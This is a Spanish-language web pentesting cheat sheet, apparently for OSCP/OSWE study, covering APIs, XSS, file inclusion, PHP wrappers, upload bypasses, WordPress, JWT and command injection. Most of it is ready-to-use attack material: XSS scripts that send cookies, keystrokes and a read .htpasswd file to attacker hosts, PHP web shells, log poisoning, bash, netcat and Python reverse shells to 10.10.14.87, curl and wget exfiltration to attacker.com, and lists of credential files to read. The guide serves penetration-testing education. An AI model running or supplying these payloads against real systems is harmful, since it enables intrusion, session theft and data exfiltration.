Web Application Pentesting - Guía Completa
🔌 APIs y Swagger
¿Qué es una API?
Application Programming Interface (API) permite que aplicaciones se comuniquen entre sí. Las APIs REST son las más comunes en aplicaciones web modernas.
Swagger / OpenAPI
Swagger es una especificación para documentar APIs REST. Muchas aplicaciones exponen su documentación Swagger públicamente.
Acceder a Swagger UI
1
2
3
4
5
6
7
8
9
10
11
12
| # URLs comunes de Swagger
http://api.target.com/swagger/
http://api.target.com/swagger-ui.html
http://api.target.com/api-docs
http://api.target.com/docs
http://api.target.com/api/swagger.json
http://api.target.com/v2/api-docs
# Alternativas
http://target.com/swagger/
http://target.com/api/
http://target.com/docs/
|
💡 Tip: Si encuentras una API, SIEMPRE intenta acceder a /swagger/. Puede revelar todos los endpoints, parámetros y métodos HTTP.
Enumeración de APIs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Con ffuf
ffuf -u http://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
# Con gobuster
gobuster dir -u http://api.target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt
# Endpoints comunes
/api/v1/users
/api/v2/users
/api/users
/api/login
/api/register
/api/admin
/api/config
/api/swagger.json
|
Testing de APIs
Autenticación
1
2
3
4
5
6
7
8
| # JWT Token en header
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." http://api.target.com/users
# API Key
curl -H "X-API-Key: abc123def456" http://api.target.com/data
# Basic Auth
curl -u username:password http://api.target.com/secure
|
IDOR (Insecure Direct Object Reference)
1
2
3
4
5
6
7
| # Probar cambiar IDs
GET /api/users/1234
GET /api/users/1235
GET /api/users/1236
# UUIDs también pueden ser predecibles
GET /api/users/a1b2c3d4-e5f6-g7h8-i9j0-k1l2m3n4o5p6
|
Mass Assignment
1
2
3
4
5
6
7
8
| // Enviar parámetros no esperados
POST /api/users/update
{
"username": "attacker",
"email": "attacker@evil.com",
"role": "admin", // Parámetro adicional
"is_admin": true // Otro intento
}
|
🎯 MITRE ATT&CK: T1190 - Exploit Public-Facing Application
💉 XSS - Cross-Site Scripting
¿Qué es XSS?
Cross-Site Scripting (XSS) permite a un atacante inyectar scripts maliciosos (generalmente JavaScript) en páginas web vistas por otros usuarios.
Tipos de XSS
| Tipo | Descripción | Persistencia |
|---|
| Reflected | Payload en URL/formulario, no se almacena | No persiste |
| Stored | Payload se guarda en DB, afecta a todos | Persiste |
| DOM-Based | Vulnerabilidad en JavaScript del cliente | Depende |
Payloads Básicos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <!-- Alert básico -->
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<!-- Event handlers -->
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<!-- Sin <script> tags -->
<img src=x onerror="javascript:alert('XSS')">
<input onfocus=alert('XSS') autofocus>
<!-- Bypass de filtros -->
<SCRiPT>alert('XSS')</SCRipT>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=eval(atob('YWxlcnQoJ1hTUycp'))>
|
XSS Avanzado
Robo de Cookies
1
2
3
4
5
6
7
8
| <script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>
// O con fetch
<script>
fetch('http://attacker.com/steal.php?c='+document.cookie);
</script>
|
Keylogger
1
2
3
4
5
| <script>
document.onkeypress = function(e) {
fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>
|
BeEF Hook
1
| <script src="http://attacker.com:3000/hook.js"></script>
|
XSS en Archivos Subidos
Markdown con XSS
Crear archivo .md:
1
2
3
4
5
| # Title
<script>alert('XSS')</script>
)
|
SVG con XSS
Crear archivo .svg:
1
2
3
4
5
6
7
8
| <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS');
</script>
</svg>
|
Ejemplo Avanzado: Fetch File Content
Este XSS lee archivos mediante LFI y los envía al atacante:
1
2
3
4
5
6
7
| <script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.11:8888/?file_content=" + encodeURIComponent(data));
});
</script>
|
Recursos: XSS CheatSheet - PortSwigger
🎯 MITRE ATT&CK: T1059.007 - Command and Scripting Interpreter: JavaScript
📁 LFI/RFI - Local/Remote File Inclusion
Local File Inclusion (LFI)
LFI permite leer archivos del sistema mediante path traversal.
Payloads Básicos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Path traversal básico
../../../../../../../etc/passwd
..\..\..\..\..\..\windows\system32\drivers\etc\hosts
# Null byte bypass (PHP < 5.3)
../../../../../../../etc/passwd%00
# URL encoding
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
# Bypassing filters
....//....//....//etc/passwd
..../...../etc/passwd
|
Archivos Interesantes Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| # Sistema
/etc/passwd
/etc/shadow (si tenemos permisos)
/etc/hosts
/etc/hostname
/etc/issue
/etc/os-release
# Configuraciones
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/php/*/apache2/php.ini
/etc/mysql/my.cnf
# Logs
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/syslog
# Aplicaciones
/var/www/html/config.php
/var/www/html/index.php
/opt/lampp/etc/httpd.conf
# Información del sistema
/proc/self/environ
/proc/self/cmdline
/proc/version
/proc/net/tcp
/proc/self/fd/0-10
# SSH
/home/user/.ssh/id_rsa
/home/user/.ssh/authorized_keys
/root/.ssh/id_rsa
|
Archivos Interesantes Windows
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # Sistema
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
# IIS
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
# Apache
C:\xampp\apache\conf\httpd.conf
C:\xampp\htdocs\config.php
# MySQL
C:\xampp\mysql\data\
# Usuarios
C:\Users\Administrator\Desktop\
C:\Users\usuario\Documents\
|
Remote File Inclusion (RFI)
RFI permite ejecutar archivos alojados en un servidor externo.
1
2
3
4
5
| # Payload básico
http://target.com/page.php?file=http://attacker.com/shell.txt
# Shell remota
http://target.com/page.php?file=http://attacker.com/shell.php
|
Shell simple para RFI (shell.txt):
1
| <?php system($_GET['cmd']); ?>
|
Invocar:
1
| http://target.com/page.php?file=http://attacker.com/shell.txt&cmd=whoami
|
🐘 PHP Wrappers
¿Qué son los PHP Wrappers?
PHP tiene wrappers integrados que permiten acceder a varios flujos de datos. Pueden ser explotados en LFI.
php://filter
Permite leer código fuente de archivos PHP.
1
2
3
4
5
6
7
8
| # Leer archivo PHP en base64
php://filter/convert.base64-encode/resource=index.php
# Ejemplo completo
http://target.com/page.php?file=php://filter/convert.base64-encode/resource=config.php
# Decodificar el output
echo "PD9waHAK..." | base64 -d
|
💡 Uso: Ver código fuente de archivos PHP sin ejecutarlos.
Permite enviar datos POST que se interpretan como archivo.
1
2
3
4
5
6
7
8
9
| # Payload
POST /page.php?file=php://input HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
<?php system($_GET['cmd']); ?>
# Luego invocar con GET
http://target.com/page.php?file=php://input&cmd=whoami
|
data://
Permite incluir datos inline.
1
2
3
4
5
6
7
8
9
10
11
| # Ejecutar código PHP inline
data://text/plain,<?php system($_GET['cmd']); ?>
# Ejemplo completo
http://target.com/page.php?file=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=whoami
# Con base64
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# Ejemplo
http://target.com/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id
|
expect://
Ejecuta comandos directamente (requiere extensión expect).
1
2
| expect://whoami
expect://id
|
zip:// y phar://
Permite ejecutar código desde archivos comprimidos.
Crear payload:
1
2
3
4
5
6
7
8
9
10
11
| # Crear shell.php
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Comprimir
zip shell.zip shell.php
# Subir shell.zip y explotar
http://target.com/page.php?file=zip://path/to/shell.zip%23shell.php&cmd=whoami
# Con phar
http://target.com/page.php?file=phar://path/to/shell.zip/shell.php&cmd=id
|
Log Poisoning
Inyectar código PHP en logs y luego incluirlos con LFI.
User-Agent Poisoning:
1
2
3
4
5
| # Enviar request con User-Agent malicioso
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/
# Incluir log file
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
|
SSH Log Poisoning:
1
2
3
4
5
| # Intentar login SSH con payload como username
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Incluir log
http://target.com/page.php?file=/var/log/auth.log&cmd=id
|
Recursos: PHP Wrappers - HackTricks
🎯 MITRE ATT&CK: T1505.003 - Server Software Component: Web Shell
⬆️ File Upload Vulnerabilities
Tipos de Bypass
Extension Bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Extensiones alternativas
file.php
file.php3
file.php4
file.php5
file.phtml
file.phar
file.phps
# Case manipulation
file.PHp
file.PhP
file.pHp
# Double extension
file.php.jpg
file.jpg.php
# Null byte (PHP < 5.3)
file.php%00.jpg
file.php\x00.jpg
# Añadir espacios
file.php[espacio]
|
Content-Type Bypass
1
2
3
4
5
6
7
8
9
| POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg <-- Falsificar
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
|
Magic Bytes (File Signature)
Agregar bytes mágicos al inicio del archivo:
1
2
3
4
5
6
7
8
| # GIF
GIF89a<?php system($_GET['cmd']); ?>
# PNG
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>
# JPEG
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>
|
Crear archivo manualmente:
1
2
| echo -e "\x89PNG\r\n\x1a\n" > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
|
.htaccess Upload
Si podemos subir .htaccess, podemos redefinir qué extensiones se ejecutan como PHP:
1
2
| # .htaccess
AddType application/x-httpd-php .jpg
|
Luego subir shell.jpg:
1
| <?php system($_GET['cmd']); ?>
|
Acceder:
1
| http://target.com/uploads/shell.jpg?cmd=whoami
|
Polyglot Files
Archivos que son válidos en múltiples formatos.
PHP + JPEG:
1
| exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg
|
📰 WordPress Pentesting
Enumeración Básica
1
2
3
4
5
6
7
8
9
10
11
| # Con WPScan (incluir API token)
wpscan --url http://target.com/wordpress/ --enumerate ap,u,t --api-token=$WPSCAN
# Detección agresiva de plugins
wpscan --url http://target.com/wordpress/ -e p --plugins-detection aggressive
# Con Nmap
nmap -p80 target.com --script http-wordpress-enum --script-args http-wordpress-enum.root='/wordpress',search-limit=1000
# Con Wfuzz
wfuzz -c -t 200 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt 'http://target.com/wordpress/FUZZ'
|
Enumeración de Usuarios
1
2
3
4
5
6
| # API REST (WordPress >= 4.7)
curl http://target.com/wordpress/wp-json/wp/v2/users
# Autor de posts
http://target.com/wordpress/?author=1
http://target.com/wordpress/?author=2
|
Brute Force
1
2
3
4
5
| # Con WPScan
wpscan --url http://target.com/wordpress/ --usernames admin --passwords $ROCKYOU
# Forma corta
wpscan --url http://target.com/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt
|
Plugins Vulnerables Comunes
1
2
3
4
5
6
7
8
| # Buscar en Exploit-DB
searchsploit wordpress plugin
# Ejemplos de plugins vulnerables históricamente
- WP File Manager (RCE)
- Site Editor (LFI)
- Mail Masta (LFI)
- Ninja Forms (File Upload)
|
Reverse Shell en WordPress
Si tenemos acceso admin, editar 404.php del tema activo:
- Ir a
Appearance → Theme Editor - Seleccionar
404 Template (404.php) - Reemplazar con reverse shell PHP
- Acceder a página que no existe para trigger 404
1
| http://target.com/wordpress/wp-content/themes/twentytwenty/404.php
|
🍪 Cookies y Sesiones
Manipulación de Cookies
1
2
3
4
5
6
7
8
| # Ver cookies en navegador
# DevTools (F12) → Application → Cookies
# Establecer cookie manualmente con JavaScript
document.cookie = "session_id=abc123; token=xyz789";
# Ejemplo de explotación
document.cookie = "admin=true; role=administrator";
|
Session Hijacking
Si capturamos un PHPSESSID válido:
1
2
3
4
5
| # Con curl
curl -b "PHPSESSID=abc123def456" http://target.com/admin
# Con navegador (DevTools)
document.cookie = "PHPSESSID=abc123def456";
|
JWT (JSON Web Tokens)
Estructura
1
2
3
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
[Header].[Payload].[Signature]
|
Decode JWT
1
2
3
4
| # Base64 decode
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# O usar jwt.io
|
JWT Attacks
1
2
3
4
5
6
| # Algorithm confusion (cambiar RS256 a HS256)
# None algorithm
# Weak secret (brute force)
# Herramienta: jwt_tool
python3 jwt_tool.py <JWT_TOKEN>
|
💻 Command Injection
¿Qué es Command Injection?
Permite ejecutar comandos del sistema operativo a través de una aplicación vulnerable.
Operadores de Encadenamiento
| Operador | Descripción | Ejemplo |
|---|
; | Ejecuta siguiente comando (siempre) | cmd1 ; cmd2 |
&& | Ejecuta siguiente si anterior OK | cmd1 && cmd2 |
\|\| | Ejecuta siguiente si anterior falla | cmd1 \|\| cmd2 |
\| | Pipe (salida cmd1 → entrada cmd2) | cmd1 \| cmd2 |
`cmd` | Command substitution | echo \whoami`` |
$(cmd) | Command substitution | echo $(whoami) |
Payloads
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # Básico
; whoami
&& whoami
| whoami
|| whoami
` whoami `
$(whoami)
# Bypass de espacios
${IFS}
{whoami}
cat</etc/passwd
cat$IFS/etc/passwd
# Bypass de slashes
${HOME:0:1} # = /
${PATH:0:1} # = /
# Ejemplo
; cat+${HOME}etc${HOME}passwd
|
Reverse Shell via Command Injection
1
2
3
4
5
6
7
8
| # Con bash
; bash -c 'bash -i >& /dev/tcp/10.10.14.87/443 0>&1'
# Con nc
; nc 10.10.14.87 443 -e /bin/bash
# Con Python
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.87",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
|
Out-of-Band Exfiltration
Si no vemos output, usar técnicas out-of-band:
1
2
3
4
5
6
7
8
9
10
11
| # Con curl
; curl http://attacker.com/`whoami`
# Con wget
; wget http://attacker.com/$(whoami)
# Con ping (ICMP)
; ping -c 1 `whoami`.attacker.com
# Listener en attacker
tcpdump -i tun0 icmp
|
🎓 Tips para OSCP/OSWE
Checklist Web Application
- Enumerar directorios y archivos
- Identificar tecnologías (Wappalyzer, whatweb)
- Probar autenticación (default creds, SQLi, bruteforce)
- Buscar LFI/RFI en parámetros
- Probar XSS en inputs
- Buscar file upload
- Enumerar APIs (/swagger, /api-docs)
- Revisar cookies y JWT
- Probar command injection
- WordPress: WPScan enumeration
Herramientas Esenciales
1
2
3
4
5
6
7
8
9
10
11
| # Fuzzing
gobuster, ffuf, wfuzz, feroxbuster
# Proxies
Burp Suite, OWASP ZAP
# CMS
WPScan, droopescan, joomscan
# Inyecciones
sqlmap, commix, xsser
|
📚 Referencias
Recursos de Aprendizaje
Payloads
Herramientas
Última actualización: 2025-01-10 Autor: alorente Licencia: Creative Commons BY-NC-SA 4.0